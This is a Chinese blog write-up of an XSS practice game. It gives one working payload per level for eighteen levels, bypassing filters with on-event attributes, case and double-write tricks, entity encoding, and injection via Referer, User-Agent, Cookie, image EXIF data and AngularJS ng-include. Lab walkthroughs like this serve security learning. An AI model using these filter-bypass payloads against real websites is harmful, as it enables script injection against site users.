朝花夕拾|勿忘初心 朝花夕拾|勿忘初心

XSS闯关小游戏

in XSS,安全研究 read (621) 1032汉字 站长Lucifaer 文章转载请注明来源!

着手练习的xss小游戏

level 1

很简单的题,什么都没有过滤,直接写payload:

/level1.php?name=<script>alert(1)</script>

level 2

也很简单,直接写payload:

"><script>alert(1)</script>

level 3

过滤了两个尖括号,没有过滤on事件,也就比较简单了。

payload:

test' oninput=javascript:alert(1)//

level 4

也是过滤了两个尖括号,基本上没什么变化:

" oninput=javascript:alert(1)//

level 5

过滤了scripton事件,但是a标签和href没有过滤,利用这两个,来进行xss:

test"><a href=javascript:alert(1)>clickme</a>

level 6

过滤了scripton事件、还有hrefsrc

尝试用大小写来绕过:

test"><ScRipt>alert(1)</ScRipt>

level 7

可以明显的看到过滤了script字段,这样也是很好做的:

test"><scrscriptipt>alert(1)</scrscriptipt>

level 8

可以看到我们输入的信息,插入到了a标签中;并且过滤了scritpjavascripton事件srchref还有双引号。但是没有对特殊字段进行过滤,所以可以考虑编码绕过。

payload:

javasc&#114;ipt:alert(1)

level 9

这题和上一题类似,都是将输入插入a标签中,但是首先进行了格式检测,也就是必须含有http://字段。我们可以尝试在伪协议中将其进行包裹:

javasc&#114;ipt:alert('http://')

level 10

这个题蛮有意思的,首先我们看源码的时候发现有三个隐藏的标签,我们通过firebug来看一下:

由于是GET型传参,我们对这三个值进行传参,看一下传递结果:

/level10.php?keyword=123123123&t_link=1&t_history=2&t_sort=3

结果如下:

可以看到我们对t_sort是可控的,接下来看一下过滤情况,只过滤了两个尖括号和特殊字符,那就很简单了:

t_sort=test" type="text" onmouseover=javascript:alert(1)//

level 11

这题蛮坑的,根本没想到,还是看别人的wp才反应过来的。正常测试的话根本没有反应,但是在从第十关进入到第十一关的时候,抓个包,才发现了这题的tips——referer

通过更改referer可以看到referer值在插入在t_ref

所以构造referer为:

Referer:test" type="text" onmouseover=javascript:alert(1)

level 12

有了上一题的教训,这题在跳转到下一题的时候特意留心抓了一下包:

然后查看源码,发现果然我的担心是没错的:

剩下的就是构造User-Agent就好了:

User-Agent:test" type="text" onmouseover=javascript:alert(1)//

搞定:

level 13

有了上面两个的经验,这次我再将跳转的包抓下来,看到了关键的ref_cook

接下来构造Cookie的值就好了:

Cookie: user=test" type="text" onmouseover=javascript:alert(1)//

level 14

这题通过iframe标签跟到指定的url,发现是一个查看图片EXIF的网站,说明是文件上传图片的XSS。通过修改图片的EXIF信息触发XSS。可以利用工具exiftool。上传成功就可以弹窗了。

level 15

这题找了半天,才知道是Angular Js的锅,没研究过,顺便看一下。

AngularJS ng-include 指令
ng-include 指令用于包含外部的 HTML 文件。包含的内容将作为指定元素的子节点。
ng-include 属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。

<element ng-include="filename" onload="expression" autoscroll="expression" ></element>
<ng-include src="filename" onload="expression" autoscroll="expression" ></ng-include>

并且若使用了angularjs的ng-include,则直接在包含的页面里的<script>是触发不成功的。

所以基本的想法就是,通过包含其他文件来实现弹窗。

由于无法执行<script>中的东西,所以我们使用方法来进行弹窗:

/level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>'

level 16

看到keyword,而且有回显,那么就开始尝试是否有waf,且waf过滤了什么。

通过测试,看到过滤了scripthref、空格、#$%^&/、这些特殊符号,尖括号并没有被过滤,而且我们的回显是被包裹在<center>标签中的,所以直接可以在<center>标签中插入新的标签。

  • 空格被过滤了,尝试编码绕过:

    我们注意到过滤了空格和一些特殊字符,但是并没有过滤`%`。这样就可以通过`%0a`来进行绕过

    剩下的工作就是选个标签弹窗就行了:

keyword=<img%0asrc=1%0aonerror=javascript:alert(1)>

level 17

看一下url:

arg01=a&arg02=b

看一下源码:

看到.swf稍慌了一下,先不管flash,直接插入我们的测试字段,看waf过滤了哪些东西:

'<script javascript onload src><a href></a>#$%^&

过滤了两个尖括号还有双引号和其他的特殊字符。

直接构造弹框的payload:

arg01=a&arg02= onmouseover=alert(1)

level 18

和上一题一样,直接测试waf过滤了什么。

经过测试发现过滤了两个尖括号和特殊的字符,基本上和上一题一样= =。

payload:

rg01=a&arg02=b onmouseover=alert(1)

剩下的两个题都是flash的xss,由于能力问题,这两个就不写了。

总体的这18道做下来,确实收获蛮大的,也蛮好玩的。

xss
最后由Lucifaer修改于2017-06-01 00:45

此处评论已关闭

博客已萌萌哒运行
© 2018 由 Typecho 强力驱动.Theme by Yodu
PREVIOUS NEXT
雷姆
拉姆